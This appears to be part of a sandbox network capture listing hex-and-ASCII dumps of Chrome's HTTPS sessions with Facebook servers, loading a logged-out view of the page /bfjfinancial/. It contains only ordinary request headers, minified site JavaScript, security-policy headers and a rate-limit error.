107	192.168.2.4	49920	157.240.241.1	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:30 UTC	610	OUT	GET /rsrc.php/v3ijbW4/yT/l/en_US/eF3LwptUque.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1 Host: static.xx.fbcdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.facebook.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://www.facebook.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:31 UTC	1702	IN	HTTP/1.1 200 OK Content-Type: application/x-javascript; charset=utf-8 Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT content-md5: J17Fm7LfM4U4uJmgSJb5HA== Expires: Fri, 11 Apr 2025 06:58:16 GMT Cache-Control: public,max-age=31536000,immutable reporting-endpoints: permissions_policy="https://www.xx.facebook.com/ajax/browser_error_reports/" timing-allow-origin: * document-policy: force-load-at-top permissions-policy: accelerometer=(), attribution-reporting=(), autoplay=(), bluetooth=(), camera=(), ch-device-memory=(), ch-downlink=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), clipboard-read=(), clipboard-write=(), display-capture=(), encrypted-media=(), fullscreen=(self), gamepad=(), geolocation=(), gyroscope=(), hid=(), idle-detection=(), keyboard-map=(), local-fonts=(), magnetometer=(), microphone=(), midi=(), otp-credentials=(), payment=(), picture-in-picture=(), publickey-credentials-get=(), screen-wake-lock=(), serial=(), usb=(), window-management=(), xr-spatial-tracking=();report-to="permissions_policy" cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff report-to: {"max_age":21600,"endpoints":[{"url":"https:\/\/www.xx.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"} origin-agent-cluster: ?0 X-FB-Debug: rydx+cI28d8fARcDpUW6Uws+o1lYrP72pS0rCsO8CgjFRMT1tOzGZgoifiysQ2kTH1l7GXR8YOzbvT/1g00m3A== Date: Thu, 11 Apr 2024 20:35:30 GMT Access-Control-Allow-Origin: https://www.facebook.com Vary: Origin X-FB-Connection-Quality: GOOD; q=0.7, rtt=83, rtx=0, c=14, mss=1277, tbw=3412, tp=-1, tpl=-1, uplat=2, ullat=-1 Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 74635
2024-04-11 20:35:31 UTC	1	IN	Data Raw: 3b Data Ascii: ;
2024-04-11 20:35:31 UTC	16102	IN	Data Raw: 2f 2a 46 42 5f 50 4b 47 5f 44 45 4c 49 4d 2a 2f 0a 0a 5f 5f 64 28 22 43 6f 6d 65 74 49 6d 61 67 65 46 72 6f 6d 49 58 56 61 6c 75 65 52 65 6c 61 79 57 72 61 70 70 65 72 5f 73 70 72 69 74 65 2e 67 72 61 70 68 71 6c 22 2c 5b 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 61 3d 7b 61 72 67 75 6d 65 6e 74 44 65 66 69 6e 69 74 69 6f 6e 73 3a 5b 5d 2c 6b 69 6e 64 3a 22 46 72 61 67 6d 65 6e 74 22 2c 6d 65 74 61 64 61 74 61 3a 6e 75 6c 6c 2c 6e 61 6d 65 3a 22 43 6f 6d 65 74 49 6d 61 67 65 46 72 6f 6d 49 58 56 61 6c 75 65 52 65 6c 61 79 57 72 61 70 70 65 72 5f 73 70 72 69 74 65 22 2c 73 65 6c 65 63 74 69 6f 6e 73 3a 5b 7b 61 6c 69 61 73 3a 6e 75 6c 6c 2c 61 72 67 73 3a 6e 75 6c 6c 2c 6b 69 6e 64 3a Data Ascii: /FB_PKG_DELIM/__d("CometImageFromIXValueRelayWrapper_sprite.graphql",[],(function(a,b,c,d,e,f){"use strict";a={argumentDefinitions:[],kind:"Fragment",metadata:null,name:"CometImageFromIXValueRelayWrapper_sprite",selections:[{alias:null,args:null,kind:
2024-04-11 20:35:31 UTC	16384	IN	Data Raw: 56 61 6c 75 65 43 68 61 6e 67 65 3a 68 2c 72 65 66 3a 62 2c 73 75 70 70 72 65 73 73 46 6f 63 75 73 52 69 6e 67 3a 6d 2c 74 61 62 49 6e 64 65 78 3a 6e 2c 74 65 73 74 69 64 3a 76 6f 69 64 20 30 2c 78 73 74 79 6c 65 3a 5b 6b 5b 22 73 77 69 74 63 68 22 5d 2c 6c 26 26 6b 2e 73 77 69 74 63 68 53 6d 61 6c 6c 2c 65 26 26 6b 2e 64 69 73 61 62 6c 65 64 2c 70 5d 2c 63 68 69 6c 64 72 65 6e 3a 69 2e 6a 73 78 73 28 63 28 22 42 61 73 65 56 69 65 77 2e 72 65 61 63 74 22 29 2c 7b 78 73 74 79 6c 65 3a 5b 6b 2e 69 6e 6e 65 72 53 68 61 64 6f 77 2c 6c 26 26 6b 2e 73 77 69 74 63 68 53 6d 61 6c 6c 2c 70 5d 2c 63 68 69 6c 64 72 65 6e 3a 5b 69 2e 6a 73 78 28 63 28 22 42 61 73 65 56 69 65 77 2e 72 65 61 63 74 22 29 2c 7b 78 73 74 79 6c 65 3a 5b 6b 2e 62 61 63 6b 67 72 6f 75 6e 64 Data Ascii: ValueChange:h,ref:b,suppressFocusRing:m,tabIndex:n,testid:void 0,xstyle:[k["switch"],l&&k.switchSmall,e&&k.disabled,p],children:i.jsxs(c("BaseView.react"),{xstyle:[k.innerShadow,l&&k.switchSmall,p],children:[i.jsx(c("BaseView.react"),{xstyle:[k.background
2024-04-11 20:35:31 UTC	16384	IN	Data Raw: 22 43 6f 6d 65 74 50 72 6f 66 69 6c 65 50 68 6f 74 6f 2e 72 65 61 63 74 22 29 2c 62 61 62 65 6c 48 65 6c 70 65 72 73 5b 22 65 78 74 65 6e 64 73 22 5d 28 7b 7d 2c 64 29 29 3b 63 61 73 65 22 70 72 6f 66 69 6c 65 2d 70 68 6f 74 6f 2d 66 6f 72 2d 61 63 74 6f 72 22 3a 62 2e 74 79 70 65 3b 64 3d 62 61 62 65 6c 48 65 6c 70 65 72 73 2e 6f 62 6a 65 63 74 57 69 74 68 6f 75 74 50 72 6f 70 65 72 74 69 65 73 4c 6f 6f 73 65 28 62 2c 5b 22 74 79 70 65 22 5d 29 3b 72 65 74 75 72 6e 20 69 2e 6a 73 78 28 63 28 22 46 44 53 50 72 6f 66 69 6c 65 50 68 6f 74 6f 46 6f 72 41 63 74 6f 72 2e 72 65 61 63 74 22 29 2c 62 61 62 65 6c 48 65 6c 70 65 72 73 5b 22 65 78 74 65 6e 64 73 22 5d 28 7b 7d 2c 64 29 29 3b 63 61 73 65 22 63 6f 6e 74 61 69 6e 65 64 2d 69 63 6f 6e 22 3a 64 3d 62 2e Data Ascii: "CometProfilePhoto.react"),babelHelpers["extends"]({},d));case"profile-photo-for-actor":b.type;d=babelHelpers.objectWithoutPropertiesLoose(b,["type"]);return i.jsx(c("FDSProfilePhotoForActor.react"),babelHelpers["extends"]({},d));case"contained-icon":d=b.
2024-04-11 20:35:31 UTC	16384	IN	Data Raw: 2c 62 2e 74 79 70 65 3d 3d 3d 22 69 63 6f 6e 22 26 26 6c 2e 61 64 64 4f 6e 57 69 74 68 49 63 6f 6e 29 2c 63 68 69 6c 64 72 65 6e 3a 66 7d 29 5d 7d 29 7d 6e 2e 64 69 73 70 6c 61 79 4e 61 6d 65 3d 6e 2e 6e 61 6d 65 2b 22 20 5b 66 72 6f 6d 20 22 2b 66 2e 69 64 2b 22 5d 22 3b 62 3d 6a 2e 66 6f 72 77 61 72 64 52 65 66 28 61 29 3b 67 5b 22 64 65 66 61 75 6c 74 22 5d 3d 62 7d 29 2c 39 38 29 3b 0a 5f 5f 64 28 22 54 65 74 72 61 4c 69 73 74 43 65 6c 6c 2e 72 65 61 63 74 22 2c 5b 22 43 6f 6d 65 74 4c 69 73 74 43 65 6c 6c 53 74 72 69 63 74 2e 72 65 61 63 74 22 2c 22 72 65 61 63 74 22 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 2c 67 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 68 2c 69 3d 68 7c 7c 64 28 22 72 65 61 63 74 22 29 3b Data Ascii: ,b.type==="icon"&&l.addOnWithIcon),children:f})]})}n.displayName=n.name+" [from "+f.id+"]";b=j.forwardRef(a);g["default"]=b}),98);__d("TetraListCell.react",["CometListCellStrict.react","react"],(function(a,b,c,d,e,f,g){"use strict";var h,i=h\|\|d("react");
2024-04-11 20:35:31 UTC	1500	IN	Data Raw: 47 5f 44 49 41 4c 4f 47 22 2c 22 43 4f 4d 45 54 5f 49 4e 53 54 41 4e 54 5f 47 41 4d 45 53 5f 47 41 4d 45 5f 53 48 41 52 45 5f 44 49 41 4c 4f 47 22 2c 22 43 4f 4d 45 54 5f 49 4e 53 54 41 4e 54 5f 47 41 4d 45 53 5f 54 4f 55 52 4e 41 4d 45 4e 54 5f 44 49 41 4c 4f 47 22 2c 22 43 4f 4d 45 54 5f 4a 4f 42 53 5f 41 50 50 4c 49 43 41 54 49 4f 4e 5f 46 4f 52 4d 22 2c 22 43 4f 4d 45 54 5f 4c 49 46 45 5f 45 56 45 4e 54 53 5f 43 4f 4d 50 4f 53 45 52 22 2c 22 43 4f 4d 45 54 5f 4c 57 49 5f 45 44 49 54 5f 42 4f 4f 53 54 5f 50 4f 53 54 22 2c 22 43 4f 4d 45 54 5f 4c 57 49 5f 50 4f 53 54 5f 44 49 41 4c 4f 47 22 2c 22 43 4f 4d 45 54 5f 4d 41 4e 41 47 45 5f 41 43 54 49 56 49 54 59 5f 42 55 4c 4b 5f 45 44 49 54 5f 43 4f 4e 54 45 4e 54 22 2c 22 43 4f 4d 45 54 5f 4d 45 44 49 41 Data Ascii: G_DIALOG","COMET_INSTANT_GAMES_GAME_SHARE_DIALOG","COMET_INSTANT_GAMES_TOURNAMENT_DIALOG","COMET_JOBS_APPLICATION_FORM","COMET_LIFE_EVENTS_COMPOSER","COMET_LWI_EDIT_BOOST_POST","COMET_LWI_POST_DIALOG","COMET_MANAGE_ACTIVITY_BULK_EDIT_CONTENT","COMET_MEDIA
2024-04-11 20:35:31 UTC	7880	IN	Data Raw: 57 53 5f 46 45 45 44 22 2c 22 45 56 45 4e 54 53 5f 4e 45 57 53 5f 46 45 45 44 5f 42 4f 54 54 4f 4d 5f 53 48 45 45 54 22 2c 22 45 56 45 4e 54 53 5f 4e 54 5f 42 55 54 54 4f 4e 53 22 2c 22 45 56 45 4e 54 53 5f 50 41 47 45 5f 43 41 4c 45 4e 44 41 52 22 2c 22 45 56 45 4e 54 53 5f 50 41 59 5f 54 4f 5f 41 43 43 45 53 53 5f 50 55 52 43 48 41 53 45 5f 46 4c 4f 57 22 2c 22 45 56 45 4e 54 53 5f 50 45 52 4d 41 4c 49 4e 4b 22 2c 22 46 42 4c 49 54 45 5f 41 43 54 49 56 49 54 59 5f 4c 4f 47 22 2c 22 46 42 4c 49 54 45 5f 43 4f 4d 50 4f 53 45 52 22 2c 22 46 42 4c 49 54 45 5f 43 52 45 41 54 45 5f 41 4c 42 55 4d 22 2c 22 46 42 4c 49 54 45 5f 43 52 49 53 49 53 5f 43 4f 4d 50 4f 53 45 52 22 2c 22 46 42 4c 49 54 45 5f 44 45 53 54 49 4e 41 54 49 4f 4e 5f 50 49 43 4b 45 52 5f 46 Data Ascii: WS_FEED","EVENTS_NEWS_FEED_BOTTOM_SHEET","EVENTS_NT_BUTTONS","EVENTS_PAGE_CALENDAR","EVENTS_PAY_TO_ACCESS_PURCHASE_FLOW","EVENTS_PERMALINK","FBLITE_ACTIVITY_LOG","FBLITE_COMPOSER","FBLITE_CREATE_ALBUM","FBLITE_CRISIS_COMPOSER","FBLITE_DESTINATION_PICKER_F

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.4	49924	157.240.241.35	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:32 UTC	985	OUT	POST /api/graphql/ HTTP/1.1 Host: www.facebook.com Connection: keep-alive Content-Length: 2308 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 viewport-width: 1280 X-FB-Friendly-Name: ProfileCometTimelineFeedQuery X-FB-LSD: AVqJt7mBmTM sec-ch-ua-platform-version: "10.0.0" Content-Type: application/x-www-form-urlencoded X-ASBD-ID: 129477 dpr: 1 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-model: "" sec-ch-prefers-color-scheme: light sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.facebook.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.facebook.com/bfjfinancial/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:32 UTC	2308	OUT	Data Raw: 61 76 3d 30 26 5f 5f 61 61 69 64 3d 30 26 5f 5f 75 73 65 72 3d 30 26 5f 5f 61 3d 31 26 5f 5f 72 65 71 3d 31 26 5f 5f 68 73 3d 31 39 38 32 34 2e 48 59 50 25 33 41 63 6f 6d 65 74 5f 6c 6f 67 67 65 64 6f 75 74 5f 70 6b 67 2e 32 2e 31 2e 2e 30 2e 30 26 64 70 72 3d 31 26 5f 5f 63 63 67 3d 47 4f 4f 44 26 5f 5f 72 65 76 3d 31 30 31 32 37 31 31 37 39 32 26 5f 5f 73 3d 31 76 70 6f 6e 65 25 33 41 62 36 76 35 30 30 25 33 41 34 35 68 65 6f 70 26 5f 5f 68 73 69 3d 37 33 35 36 37 31 30 38 37 35 39 38 30 32 33 39 30 37 36 26 5f 5f 64 79 6e 3d 37 78 65 55 6d 77 6c 45 6e 77 6e 38 79 45 71 78 65 6d 68 30 63 6d 35 55 34 65 32 4f 31 34 78 74 33 6f 64 45 63 38 63 6f 35 53 33 4f 32 53 61 77 38 69 32 53 31 44 77 55 78 36 30 39 76 43 77 6a 45 31 78 6f 34 43 55 37 6d 30 79 45 34 Data Ascii: av=0&__aaid=0&__user=0&__a=1&__req=1&__hs=19824.HYP%3Acomet_loggedout_pkg.2.1..0.0&dpr=1&__ccg=GOOD&__rev=1012711792&__s=1vpone%3Ab6v500%3A45heop&__hsi=7356710875980239076&__dyn=7xeUmwlEnwn8yEqxemh0cm5U4e2O14xt3odEc8co5S3O2Saw8i2S1DwUx609vCwjE1xo4CU7m0yE4
2024-04-11 20:35:32 UTC	896	IN	HTTP/1.1 200 OK reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", coep_report="https://www.facebook.com/browser_reporting/coep/?minimize=0", default="https://www.facebook.com/ajax/comet_error_reports/?device_level=unknown", permissions_policy="https://www.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":86400,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coep\/?minimize=0"}],"group":"coep_report"}, {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/comet_error_reports\/?device_level=unknown"}]}, {"max_age":21600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"}
2024-04-11 20:35:32 UTC	1903	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 2e 66 62 73 62 78 2e 63 6f 6d 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 3b 73 63 72 69 70 74 2d 73 72 63 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 31 32 37 2e 30 2e 30 2e 31 3a 2a 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 62 6c 6f 62 3a 20 64 61 74 61 3a 20 27 73 65 6c 66 27 20 63 6f 6e 6e 65 63 74 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 27 Data Ascii: content-security-policy: default-src data: blob: 'self' https://.fbsbx.com 'unsafe-inline' .facebook.com .fbcdn.net 'unsafe-eval';script-src .facebook.com .fbcdn.net .facebook.net 127.0.0.1:* 'unsafe-inline' blob: data: 'self' connect.facebook.net '
2024-04-11 20:35:32 UTC	1787	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 74 74 72 69 62 75 74 69 6f 6e 2d 72 65 70 6f 72 74 69 6e 67 3d 28 73 65 6c 66 29 2c 20 61 75 74 6f 70 6c 61 79 3d 28 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 73 65 6c 66 29 2c 20 63 68 2d 64 65 76 69 63 65 2d 6d 65 6d 6f 72 79 3d 28 29 2c 20 63 68 2d 64 6f 77 6e 6c 69 6e 6b 3d 28 29 2c 20 63 68 2d 65 63 74 3d 28 29 2c 20 63 68 2d 72 74 74 3d 28 29 2c 20 63 68 2d 73 61 76 65 2d 64 61 74 61 3d 28 29 2c 20 63 68 2d 75 61 2d 61 72 63 68 3d 28 29 2c 20 63 68 2d 75 61 2d 62 69 74 6e 65 73 73 3d 28 29 2c 20 63 6c 69 70 62 6f 61 72 64 2d 72 65 61 64 3d 28 73 65 6c 66 29 2c 20 63 6c 69 70 62 6f 61 72 64 2d 77 72 69 Data Ascii: permissions-policy: accelerometer=(), attribution-reporting=(self), autoplay=(), bluetooth=(), camera=(self), ch-device-memory=(), ch-downlink=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), clipboard-read=(self), clipboard-wri
2024-04-11 20:35:32 UTC	5	IN	Data Raw: 33 65 63 0d 0a Data Ascii: 3ec
2024-04-11 20:35:32 UTC	1011	IN	Data Raw: 7b 22 65 72 72 6f 72 73 22 3a 5b 7b 22 6d 65 73 73 61 67 65 22 3a 22 52 61 74 65 20 6c 69 6d 69 74 20 65 78 63 65 65 64 65 64 22 2c 22 73 65 76 65 72 69 74 79 22 3a 22 43 52 49 54 49 43 41 4c 22 2c 22 6d 69 64 73 22 3a 5b 22 39 38 32 63 63 65 37 34 62 32 66 33 61 65 30 63 63 32 31 65 36 38 36 33 61 62 34 64 61 32 38 35 22 5d 2c 22 63 6f 64 65 22 3a 31 33 34 38 30 30 37 2c 22 61 70 69 5f 65 72 72 6f 72 5f 63 6f 64 65 22 3a 6e 75 6c 6c 2c 22 73 75 6d 6d 61 72 79 22 3a 22 4e 6f 74 20 4c 6f 67 67 65 64 20 49 6e 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 7b 22 5f 5f 68 74 6d 6c 22 3a 22 50 6c 65 61 73 65 20 6c 6f 67 20 69 6e 20 74 6f 20 73 65 65 20 74 68 69 73 20 70 61 67 65 2e 22 7d 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 5f 72 61 77 22 3a 7b 22 5f 5f 68 Data Ascii: {"errors":[{"message":"Rate limit exceeded","severity":"CRITICAL","mids":["982cce74b2f3ae0cc21e6863ab4da285"],"code":1348007,"api_error_code":null,"summary":"Not Logged In","description":{"__html":"Please log in to see this page."},"description_raw":{"__h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.4	49923	157.240.241.35	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:32 UTC	950	OUT	POST /ajax/bulk-route-definitions/ HTTP/1.1 Host: www.facebook.com Connection: keep-alive Content-Length: 1317 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 viewport-width: 1280 Content-Type: application/x-www-form-urlencoded X-FB-LSD: AVqJt7mBmTM sec-ch-ua-platform-version: "10.0.0" X-ASBD-ID: 129477 dpr: 1 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-model: "" sec-ch-prefers-color-scheme: light sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.facebook.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.facebook.com/bfjfinancial/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:32 UTC	1317	OUT	Data Raw: 72 6f 75 74 65 5f 75 72 6c 73 5b 30 5d 3d 25 32 46 62 66 6a 66 69 6e 61 6e 63 69 61 6c 25 32 46 26 72 6f 75 74 69 6e 67 5f 6e 61 6d 65 73 70 61 63 65 3d 66 62 5f 63 6f 6d 65 74 26 5f 5f 61 61 69 64 3d 30 26 5f 5f 75 73 65 72 3d 30 26 5f 5f 61 3d 31 26 5f 5f 72 65 71 3d 32 26 5f 5f 68 73 3d 31 39 38 32 34 2e 48 59 50 25 33 41 63 6f 6d 65 74 5f 6c 6f 67 67 65 64 6f 75 74 5f 70 6b 67 2e 32 2e 31 2e 2e 30 2e 30 26 64 70 72 3d 31 26 5f 5f 63 63 67 3d 47 4f 4f 44 26 5f 5f 72 65 76 3d 31 30 31 32 37 31 31 37 39 32 26 5f 5f 73 3d 31 76 70 6f 6e 65 25 33 41 62 36 76 35 30 30 25 33 41 34 35 68 65 6f 70 26 5f 5f 68 73 69 3d 37 33 35 36 37 31 30 38 37 35 39 38 30 32 33 39 30 37 36 26 5f 5f 64 79 6e 3d 37 78 65 55 6d 77 6c 45 6e 77 6e 38 79 45 71 78 65 6d 68 30 63 6d Data Ascii: route_urls[0]=%2Fbfjfinancial%2F&routing_namespace=fb_comet&__aaid=0&__user=0&__a=1&__req=2&__hs=19824.HYP%3Acomet_loggedout_pkg.2.1..0.0&dpr=1&__ccg=GOOD&__rev=1012711792&__s=1vpone%3Ab6v500%3A45heop&__hsi=7356710875980239076&__dyn=7xeUmwlEnwn8yEqxemh0cm
2024-04-11 20:35:32 UTC	942	IN	HTTP/1.1 200 OK Content-Type: text/javascript; charset=utf-8 reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", coep_report="https://www.facebook.com/browser_reporting/coep/?minimize=0", default="https://www.facebook.com/ajax/comet_error_reports/?device_level=unknown", permissions_policy="https://www.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":86400,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coep\/?minimize=0"}],"group":"coep_report"}, {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/comet_error_reports\/?device_level=unknown"}]}, {"max_age":21600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"}
2024-04-11 20:35:32 UTC	1903	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 2e 66 62 73 62 78 2e 63 6f 6d 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 3b 73 63 72 69 70 74 2d 73 72 63 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 31 32 37 2e 30 2e 30 2e 31 3a 2a 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 62 6c 6f 62 3a 20 64 61 74 61 3a 20 27 73 65 6c 66 27 20 63 6f 6e 6e 65 63 74 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 27 Data Ascii: content-security-policy: default-src data: blob: 'self' https://.fbsbx.com 'unsafe-inline' .facebook.com .fbcdn.net 'unsafe-eval';script-src .facebook.com .fbcdn.net .facebook.net 127.0.0.1:* 'unsafe-inline' blob: data: 'self' connect.facebook.net '
2024-04-11 20:35:32 UTC	1746	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 74 74 72 69 62 75 74 69 6f 6e 2d 72 65 70 6f 72 74 69 6e 67 3d 28 73 65 6c 66 29 2c 20 61 75 74 6f 70 6c 61 79 3d 28 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 73 65 6c 66 29 2c 20 63 68 2d 64 65 76 69 63 65 2d 6d 65 6d 6f 72 79 3d 28 29 2c 20 63 68 2d 64 6f 77 6e 6c 69 6e 6b 3d 28 29 2c 20 63 68 2d 65 63 74 3d 28 29 2c 20 63 68 2d 72 74 74 3d 28 29 2c 20 63 68 2d 73 61 76 65 2d 64 61 74 61 3d 28 29 2c 20 63 68 2d 75 61 2d 61 72 63 68 3d 28 29 2c 20 63 68 2d 75 61 2d 62 69 74 6e 65 73 73 3d 28 29 2c 20 63 6c 69 70 62 6f 61 72 64 2d 72 65 61 64 3d 28 73 65 6c 66 29 2c 20 63 6c 69 70 62 6f 61 72 64 2d 77 72 69 Data Ascii: permissions-policy: accelerometer=(), attribution-reporting=(self), autoplay=(), bluetooth=(), camera=(self), ch-device-memory=(), ch-downlink=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), clipboard-read=(self), clipboard-wri
2024-04-11 20:35:32 UTC	6	IN	Data Raw: 36 30 34 63 0d 0a Data Ascii: 604c
2024-04-11 20:35:32 UTC	1500	IN	Data Raw: 66 6f 72 20 28 3b 3b 29 3b 7b 22 70 61 79 6c 6f 61 64 22 3a 7b 22 70 61 79 6c 6f 61 64 73 22 3a 7b 22 2f 62 66 6a 66 69 6e 61 6e 63 69 61 6c 2f 22 3a 7b 22 65 72 72 6f 72 22 3a 66 61 6c 73 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 74 79 70 65 22 3a 22 72 6f 75 74 65 5f 64 65 66 69 6e 69 74 69 6f 6e 22 2c 22 65 78 70 6f 72 74 73 22 3a 7b 22 61 63 74 6f 72 49 44 22 3a 22 30 22 2c 22 72 6f 6f 74 56 69 65 77 22 3a 7b 22 61 6c 6c 52 65 73 6f 75 72 63 65 73 22 3a 5b 7b 22 5f 5f 6a 73 72 22 3a 22 50 72 6f 66 69 6c 65 50 6c 75 73 43 6f 6d 65 74 4c 6f 67 67 65 64 4f 75 74 52 6f 6f 74 2e 72 65 61 63 74 22 7d 2c 7b 22 5f 5f 6a 73 72 22 3a 22 50 72 6f 66 69 6c 65 50 6c 75 73 43 6f 6d 65 74 4c 6f 67 67 65 64 4f 75 74 52 6f 75 74 65 52 6f 6f 74 2e 65 6e 74 72 79 70 6f 69 Data Ascii: for (;;);{"payload":{"payloads":{"/bfjfinancial/":{"error":false,"result":{"type":"route_definition","exports":{"actorID":"0","rootView":{"allResources":[{"__jsr":"ProfilePlusCometLoggedOutRoot.react"},{"__jsr":"ProfilePlusCometLoggedOutRouteRoot.entrypoi
